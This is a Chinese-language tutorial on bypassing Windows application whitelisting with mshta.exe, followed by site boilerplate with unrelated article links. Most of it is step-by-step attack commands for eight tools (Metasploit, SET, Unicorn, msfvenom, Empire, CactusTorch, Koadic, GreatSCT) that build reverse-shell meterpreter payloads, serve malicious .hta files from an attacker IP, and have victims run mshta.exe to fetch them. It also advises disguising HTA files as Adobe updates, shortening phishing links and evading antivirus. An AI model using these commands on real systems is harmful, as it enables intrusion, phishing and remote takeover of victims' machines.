使用mshta.exe绕过应用程序白名单(多种方法)
0x00 简介
很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分。HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“古老”方式之一。运行Microsoft HTML应用程序主机的Mshta.exe,Windows OS实用程序负责运行HTA(HTML应用程序)文件。我们可以运行JavaScript或Visual的HTML文件。您可以使用Microsoft MSHTA.exe工具解析这些文件。
0x01 HTA重要性
最后,利用htaccess文件或基于浏览器的分类的其他策略转移将有助于提高利用率。利用HTA文件进行基于web的攻击。HTA文件中有大量的灵活性; 你将有效地使它看起来像一个Adobe更新程序。此外,通过HTTPS使HTA文件限制不使用少许SSL拦截/阻断的发现率也是有用的。HTA记录有助于绕过防病毒,因为它们仍没有被很好地识别到。最后但并非不重要的HTA也可以用于网络钓鱼,取代旧的Java applet。
0x02 攻击方法
HTA攻击有多种方法,如下所示:
- Metasploit
- Setoolkit
- Magic unicorn
- Msfvenom
- Empire
- CactusTorch
- Koadic
- Great SCT
1.第一种方法:Metasploit
我们的第一种方法是在Metasploit中使用inbuild exploit。为此,请进入到kali中的终端并输入命令:msfconsole
metasploit包含“hta web server”模块,该模块生成恶意hta文件。此模块承载一个HTML应用程序(HTA),打开时将通过PowerShell运行有效负载。当用户打开HTA文件时,IE会在执行exploit之前提示用户两次。当Metasploit启动时,输入以下命令:
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
msf exploit(windows/misc/hta_server) > exploit
一旦exploit被执行,它将为您提供扩展名为.hta的URL链接。同时,Metasploit将启动允许您共享文件的服务器。此链接您还必须在受害者的PC上运行。使用以下命令:
mshta.exe http://192.168.1.109:8080/pKz4Kk059Nq9.hta
HTA的通常文件扩展名是.hta。我们使用了上面的命令,因为HTA被视为扩展名为.exe的任何可执行文件,因此通过mshta.exe执行。当hta由mshta.exe启动时,它使用签名的Microsoft二进制文件,允许您调用PowerShell并将payload直接注入内存中。
执行上述命令后,您将打开一个会话。要访问会话,请输入以下命令:
sessions
因此,您将拥有一个meterpreter会话
2.第二种方法:Setoolkit
我们的HTA攻击方法是通过setoolkit来执行。为此,在您的kali中打开setoolkit。从菜单中选择第一个选项,输入1并选择第一个选项以选择Social-Engineering Attacks。
从下一个给定菜单中,通过输入2并选择第二个选项以选择website attack vendors
从下一个给定菜单中输入选项8以选择HTA attack method
一旦您为HTA攻击选择了选项8,接下来您需要选择选项2,它将允许您克隆一个站点。一旦选择了选项2,它将询问您要克隆的站点的URL。如我们在此提供的所需的URL:www.ignitectologies.in
在给出URL之后,它将要求您选择所需的meterpreter类型。通过输入3以选择第三个meterprter reverse tcp.
键入3后按Enter键,进程将启动,您将拥有handler(multi/handler)
现在把你的恶意IP转换成短链接,当你向受害者分享此链接时,这将显示给受害者更真实的攻击
当受害者浏览上述恶意链接时,文件保存后会自动保存在受害者电脑中执行,如下图所示:
然后您将拥有一个meterpreter会话。您可以使用命令'sysinfo'获取受害者电脑的基本信息
3.第三种方法:Magic Unicorn
HTA攻击的下一个方法是使用unicorn的第三方工具。magic unicorn工具由Dave Kennedy开发。它是一款用户友好性的工具,它允许我们通过将shellcode直接注入内存来执行HTA攻击。该工具的最佳部分是它与Metasploit兼容,以及shellcode和cobalt strik。您可以在trustedsec.com上详细查看该软件,也可以从GitHub下载该软件,或者使用以下链接下载:https://github.com/trustedsec/unicorn
一旦你下载了magic unicorn。在kali的终端打开并输入:
python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.109 hta
执行上述命令将启动创建.hta文件的过程。上诉.hta文件将在文件夹hta-attack/中被创建。进入该文件夹,通过键入以下命令查看创建的文件列表:
cd hta_attack/
ls
现在您可以看到.hta文件,即launcher.hta。启动python服务器以便共享此文件。为此,请输入以下命令:
python -m SimpleHTTPServer
服务器启动并运行后,在受害者PC的cmd提示符中执行以下命令:
mshta.exe http://192.168.1.109/Launcher.hta
当执行上述命令时,您将在multi/handler中激活会话。要访问会话,请键输入以下命令:
sessions
4.第四种方法:MSFVenom
HTA攻击的下一种方法是通过msfvenom手动创建.hta文件。创建.hta文件,在kali终端中键输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport= -f hta-psh > shell.hta
执行上述命令将创建一个.hta文件,您可以利用该文件。创建文件后,打开python服务器,通过输入以下内容将文件共享到受害者的PC:
python -m SimpleHTTPServer
输入以下命令运行上述文件:
mshta.exe http:192.168.1.109/shell.hta
同时,在受害者的命令提示符中运行上述文件时,启动handler以接收会话。要启动multi/handler,请输入以下命令:
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport
msf exploit(multi/handler) > exploit
因此,通过使用这种简单的方法,您将获得您的meterpreter会话。您可以使用sysinfo查看受害者PC的基本信息。
5.第五种方法:PowerShell Empire
对于我们的下一个msbuild攻击方法,我们将使用empire。empire是一款后开发框架。到目前为止,我们已经将我们的XML工具与Metasploit匹配,但在这种方法中,我们将使用empire框架。它只是基于python的PowerShell windows代理,这使得它非常有用。Empire由@harmj0y、@sixdub、@enigam0x3、rvrsh3ll、@killswitch_gui和@xorrier开发。您可以从https://github.com/EmpireProject/Empire下载此框架。
要获得empire的基本指南,请访问我们的文章:
https://www.hackingarticles.in/hacking-with-empire-powershell-post-exploitation-agent/
启动Empire框架后,输入listener以检查是否有任何活动的侦听器。如下图所示,没有活动的侦听器。需要设置一个侦听器,请输入以下命令:
uselistener http
set Host http://192.168.1.109
set port
execute
使用上述命令,您将获得一个活动的侦听器。输入back以退出侦听器,以便启动PowerShell。
对于我们的msbuild攻击,我们将使用stager。empire中的stager是一段代码段,它允许我们的恶意代码通过被感染主机上的代理运行。因此,对于这种类型,请输入以下命令:
usestager windows/hta
set Listener http
set OutFile /root/Desktop/.hta
execute
usestager将创建一个恶意代码文件,该文件将保存在名为1.hta的outfile中。一旦文件被执行,我们将在侦听器上获得结果。通过输入以下命令运行受害者的文件:
mshta.exe http://192.168.1.109:8080/1.h
要查看是否有会话,请打开输入命令“agents”。这样做将向您显示您拥有的会话的名称。要访问该会话请输入以下命令:
interact L924Z1WR
上面的命令将允许您访问会话
sysinfo
info
6.第六种方法:Cactustorch
Cactustorch是javascript和VBScript shellcode启动器的框架。它由Vincent Yiu开发。这个工具可以绕过许多常见的防御,这对我们来说是一种优势。需要注意的主要问题是我们在cactustorch中使用的代码是通过msfvenom创建的,然后编码到Base64中,因为它只支持它。
所以,首先让我们创建我们的恶意软件,然后加密它。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f raw > 1.bin
现在加密文件类型:
cat .bin |base64 -w
复制base64代码,以便稍后使用。
现在我们准备好了恶意软件,让我们下载cactustorch。你可以从这里下载:
https://github.com/mdsecactivebreach/CACTUSTORCH
安装完成后,在安装的文件夹内容中输入以下内容:
ls -la
./CACTUSTORCH.hta
上面的命令将启动cactustorch进行hta攻击
一旦cactustorch启动,将base64代码粘贴到下图所示的突出的代码处,这是先前复制的。
当我们添加了代码时,让我们通过键输入以下内容在受害者的PC中执行该文件:
mshta.exe http://192.168.1.109/CACTUSTORCH.hta
同时,启动multi/handler以接收会话。对于multi/handler,请输入以下命令:
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport
msf exploit(multi/handler) > exploit
在受害者的PC中执行该文件后,您将获得一个meterpreter会话。
7.第七种方法:Koadic
我们的下一种方法是使用koadic。Koadic是一个Windows后期开发的rootkit,类似于其他渗透测试工具,如meterpreter和PowerShellEmpire。要了解更多关于Koadic的信息,请通过以下链接阅读我们关于上述框架的详细文章:https://www.hackingarticles.in/koadic-com-command-control-framework
一旦Koadic启动并运行,请输入info以获取需要提供的详细帮助信息列表,以便进行获取会话。通过查看的信息,您需要设置srvhost和endpoint。因此,要设置它们,请输入:
set srvhost 192.168.1.107
set ENDPOINT sales
run
键入以下内容,执行您在受害者PC中的文件:
http://192.168.1.107:9999/sales
您将获得一个正在运行的会话。要知道会话类型的名称,输入以下命令:
zombies
现在要访问会话类型,请输入以下命令:
zombies
8.第八种方法:GreatSCT
GreatSCT是一款允许您使用Metasploit exploit并允许它绕过大多数反病毒的工具。GreatSCT目前得到了@ConsciousHacker的支持。你可以从下面地址中下载:
https://github.com/GreatSCT/GreatSCT
下载并运行后,输入以下命令以访问模块:
use Bypass
查看payload列表类型,输入list命令:
list
现在,从有payload表中,您可以选择任何目标进行所需的攻击。但对于这种攻击,我们将使用:
use mshta/shellcode_inject/base64_migrate.py
执行命令后,输入以下命令:
generate
执行generate命令后,它会询问您要使用哪种方法。因为我们将使用msfvenom类型1来选择第一个选项。然后按enter键进入meterpreter。然后分别设置lhost和lport,即192.168.1.107和4321。
生成shellcode时,它会要求您为exploit命名。默认情况下,它将设置名称为“payload”,以便您可以提供名称,或者只需按Enter键进行默认设置。
现在,生成了两个文件。一个资源文件和另一个hta文件
现在,首先,在/usr/share/greatsct输出中输入以下命令启动python的服务器:
python -m SimpleHTTPServer
现在在受害者PC的命令提示符中执行hta文件
同时,使用资源文件启动multi/handler。为此,输入以下命令:
msfconsole -r /usr/share/greatsct-output/handlers/payload.rc
你将获得一个meterpreter会话
0x03 总结
所以基本上,这种类型的攻击是简单的HTA攻击,提供对远程攻击者的完全访问权限。攻击者可以使用Web技术为Windows操作系统创建恶意应用程序来克隆站点。简而言之,它通过HTA文件执行PowerShell注入,可以通过浏览器用于基于Windows的PowerShell开发。以上是用于攻击的方法。 因此,通过不同的方法学习相同的攻击通常是很方便的
使用mshta.exe绕过应用程序白名单(多种方法)的更多相关文章
- 使用regsrv32.exe绕过应用程序白名单(多种方法)
0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...
- 使用rundll32.exe绕过应用程序白名单(多种方法)
0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...
- 使用msbuild.exe绕过应用程序白名单(多种方法)
一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...
- 使用msiexec.exe绕过应用程序白名单(多种方法)
0x00 前言 在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们.但今天您将学习如何绕 ...
- 使用wmic.exe绕过应用程序白名单(多种方法)
一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...
- 使用cmstp绕过应用程序白名单
默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因.已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC.与Microsoft相关的二进制文件之一 ...
- GreatSct -应用程序白名单bypass工具
0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott).Great SCT是一个用于生成应用程序白 ...
- 项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法
1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...
- 将非官方扩展程序加入chrome的白名单
参考来源:http://xclient.info/a/1ddd2a3a-d34b-b568-c0d0-c31a95f0b309.html com.google.Chrome.mobileconfig ...
随机推荐
- 机器学习之k-最近邻(kNN)算法
一.kNN(k-nearest neighbor)算法原理 事物都遵循物以类聚的思想,即有相同特性的事物在特征空间分布上会靠得更近,所以kNN的思路是:一个样本在特征空间中k个靠的最近的样本中,大多数 ...
- killall命令详解
基础命令学习目录首页 原文链接:https://blog.csdn.net/tanga842428/article/details/52474250 Linux系统中的killall命令用于杀死指定名 ...
- WinForm中从SQLite数据库获取数据显示到DataGridView
1.关于Sqlite Sqlite是一款开源的.适合在客户端和嵌入式设备中使用的轻量级数据库,支持标准的SQL. 不像SqlServer或Oracle的引擎是一个独立的进程.通过TCP或命名管道等与程 ...
- Python操作数据库之 MySQL
Python操作数据库之MySQL 一.安装Python-MySQLdb模块 Python-MySQLdb是一个操作数据库的模块,Python 通过它对 mysql 数据实现各种操作. 如果要源码安装 ...
- PSP总结
一.回顾1 (1)回想一下你曾经对计算机专业的畅想 当初你是如何做出选择计算机专业的决定的?经过一个学期,你的看法改变了么,为什么? 以前的回答:当初之所以选择计算机专业,是因为我比较喜欢数学,觉得计 ...
- Daily Scrum (2015/10/22)
今天我们发现了源代码并不能直接在PC上运行.通过学长我们了解到我们需要在服务器上链接上数据库才能正常运行,所以找了老师要了地址后进入了正常工作.由此我们的PM增添了一些新的任务,团队的总工作时间有所增 ...
- 冲刺One之站立会议7 /2015-5-20
2015-5-20 在登陆成功之后要实现的是聊天界面的交互过程,不同的IP进行信息和数据的传递,这方面我们上学期Java实验里面有过相关的内容,我们把它拿过来改了一下格式,试着看能不能成功,目前还没实 ...
- 《Spring1之第九次站立会议》
<第九次站立会议> 昨天:对用C#写的视频功能进行了相关的了解. 今天:试着把用C#写的代码转换为java语言. 遇到的问题:说实话,真心不好转换,转换过程中遇到了很多问题.
- 结对随即四则运算(带界面Java版)
//随机四则运算类 public class 随机四则运算 { public static void main(String[] args) { new 界面();//进入随机四则运算的首界面 } } ...
- 【贪心算法】POJ-1862 简单哈夫曼
一.题目 Description Our chemical biologists have invented a new very useful form of life called stripie ...